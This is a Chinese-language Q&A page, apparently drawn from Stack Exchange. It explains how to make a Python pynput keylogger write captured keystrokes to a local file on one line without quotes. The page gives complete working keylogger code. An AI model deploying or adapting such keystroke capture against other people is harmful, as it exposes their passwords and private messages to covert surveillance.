如何移除按键记录器变量引号并将多行内容合并为一行?
解决方法
要实现输入内容单行无引号输出,你需要调整字符提取方式和写入逻辑,修改后的代码如下:
from pynput.keyboard import Key, Listener # 定义日志文件路径 log_file = "keylogger.txt" def on_press(key): try: # 获取按键对应的纯字符,不带引号 char = key.char # 以追加模式打开文件,写入字符且不换行 with open(log_file, "a", encoding="utf-8") as f: f.write(char) except AttributeError: # 处理特殊按键,比如回车、空格、退格等 if key == Key.space: with open(log_file, "a", encoding="utf-8") as f: f.write(" ") elif key == Key.enter: with open(log_file, "a", encoding="utf-8") as f: f.write("\n") # 其他特殊按键可根据需求添加,比如退格Key.backspace with Listener(on_press=on_press) as listener: listener.join()
修改说明:
- 替换日志模块:原来的
logging.info会自动给每条日志加换行,改用直接文件写入可以控制换行逻辑 - 提取纯字符:用
key.char获取按键的原始字符,避免str(key)带来的引号和格式包裹 - 特殊按键处理:通过
AttributeError捕获非字符类按键(比如空格、回车),按需写入对应符号
这样输入"Hello"后,keylogger.txt里就会直接显示一行Hello,没有引号。
内容的提问来源于stack exchange,提问作者w1ndnd
相关产品推荐
相关产品推荐

